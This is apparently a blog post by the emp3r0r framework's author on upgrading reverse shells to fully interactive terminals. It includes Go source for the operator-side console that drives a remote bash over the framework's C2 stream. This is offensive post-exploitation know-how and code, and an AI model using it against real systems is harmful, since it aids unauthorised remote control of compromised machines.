this part is about reverse shell

how to make your reverse shell suck less

take a look at pentestmonkey's Reverse Shell Cheat Sheet, which gives you a collection of reverse shell one-liners. each of the one-liners does the same thing -- establish a TCP connection to you, then execute a shell such as /bin/bash, your input goes thru the TCP connection, becomes the shell's stdin, the shell puts its output to the TCP socket, then read by you.

its usable, but painful to use. basically you are doing /bin/bash -c cmd each time after you press Enter, the first problem comes,

su: must be run from a terminal

not only su, many apps require a normal terminal, just like the one you are using on your local machine, specically, you need a PTY, ie. pseudoterminal, by issuing python -c 'import pty; pty.spawn("/bin/bash")', you may fool su to allow you to run it.

another problem is, how do you send keybindings such as Ctrl-C to your remote shell?

as you know, our reverse shell takes one line of input at a time. any other input without a new-line ending, get ignored or caught by your local terminal, for example, Ctrl-C kills your reverse shell and you might want to say the F word after pressing it

the solution is from Upgrading Simple Shells to Fully Interactive TTYs

stty raw -echo

what does this do?

stty — set the options for a terminal device interface

raw (-raw)

If set, change the modes of the terminal so that no input or output processing is performed. If unset, change the modes of the terminal to some reasonable state that performs input and output processing. Note that since the terminal driver no longer has a single RAW bit, it is not possible to intuit what flags were set prior to setting raw. This means that unsetting raw may not put back all the setting that were previously in effect. To set the terminal into a raw state and then accurately restore it, the following shell code is recommended:

save_state=$(stty -g) stty raw ... stty "$save_state"

echo (-echo)

Echo back (do not echo back) every character typed.

with stty raw, your input is sent without processing, meaning every key stroke gets sent to the fd given (-F)

this way, all your key bindings start to work as they do on your local terminal

emp3r0r's approach

emp3r0r's shell module acts like the most simple one like what you will find in one of the one-liners, with some differences, that i use readline to parse user input, and some helpers such as file uploading/downloading

obviously, we need a real bash, even better, thru the same wonderful HTTP2 tunnel instead of plain TCP.

the solution requires stty utility, which can be found in every linux/unix system, therefore not a problem to our linux-specific emp3r0r

besides setting raw mode, we might also need to resize the terminal. when resizing the local terminal, the remote bash shell's terminal remains unchanged, to notify the remote terminal to resize, we send a stty rows xx columns yy command to bash, the terminal size then gets adjusted

also, as you can see in the following code, we use /dev/tty instead of stdin as ssty's target device, because stty refuse to use stdin, it will throw standard input inappropriate ioctl for device if you dont specify -F /dev/tty.

in this raw case, we can only read one byte at a time, the target file is /dev/tty

heres the code

func reverseBash() {
    // check if stty is installed
    if !IsCommandExist("stty") {
        CliPrintError("stty is not found, wtf?")
        return
    }

    // activate reverse shell in agent
    err := SendCmd("bash", CurrentTarget)
    if err != nil {
        CliPrintError("Cannot activate reverse shell on remote target: ", err)
        return
    }

    // use /dev/tty for our console
    ttyf, err := os.Open("/dev/tty")
    if err != nil {
        CliPrintError("Cannot open /dev/tty: %v", err)
    }

    cleanup := func() {
        out, err := exec.Command("stty", "-F", "/dev/tty", "sane").CombinedOutput()
        if err != nil {
            CliPrintError("failed to restore terminal: %v\n%s", err, out)
        }

        err = agent.CCStream.Close()
        if err != nil {
            CliPrintWarning("Closing reverse shell connection: ", err)
        }
    }
    defer cleanup()

    // receive and display bash's output
    go func() {
        for incoming := range RecvAgentBuf {
            os.Stdout.Write(incoming)
        }
    }()

    // send whatever input to target's bash
    go func() {
        for outgoing := range SendAgentBuf {
            if agent.CCStream == nil {
                continue
            }
            _, err = agent.CCStream.Write(outgoing)
            if err != nil {
                log.Print("Send to remote: ", err)
            }
        }
    }()

    /*
        set up terminal
    */
    // Handle pty size.
    ch := make(chan os.Signal, 1)
    signal.Notify(ch, syscall.SIGWINCH)
    go func() {
        for range ch {
            if err := pty.InheritSize(os.Stdin, ttyf); err != nil {
                log.Printf("error resizing pty: %s", err)
            }

            // set remote stty
            winSize, err := pty.GetsizeFull(os.Stdin)
            if err != nil {
                CliPrintWarning("Cannot get terminal size: %v", err)
            }
            setupTermCmd := fmt.Sprintf("stty rows %d columns %d\n",
                winSize.Rows, winSize.Cols)
            SendAgentBuf <- []byte(setupTermCmd)
        }
    }()
    ch <- syscall.SIGWINCH // Initial resize.

    currentWinSize, err := pty.GetsizeFull(os.Stdin)
    if err != nil {
        CliPrintWarning("Cannot get terminal size: %v", err)
    }

    // switch to raw mode
    out, err := exec.Command("stty", "-F", "/dev/tty", "raw", "-echo").CombinedOutput()
    if err != nil {
        CliPrintError("stty raw mode failed: %v\n%s", err, out)
        return
    }

    setupTermCmd := fmt.Sprintf("stty rows %d columns %d;reset\n",
        currentWinSize.Rows, currentWinSize.Cols)
    SendAgentBuf <- []byte(setupTermCmd)

    for {
        // read stdin
        buf := make([]byte, agent.BufSize)
        consoleReader := bufio.NewReader(ttyf)
        _, err := consoleReader.Read(buf)
        if err != nil {
            CliPrintWarning("Bash read input: %v", err)
        }
        if buf[0] == 4 { // Ctrl-D is 4
            color.Red("EOF")
            break
        }

        // send our byte
        SendAgentBuf <- buf
    }

    // always send 'exit' to correctly log out our bash shell
    SendAgentBuf <- []byte("exit\n\n")
}

Comments

comments powered by Disqus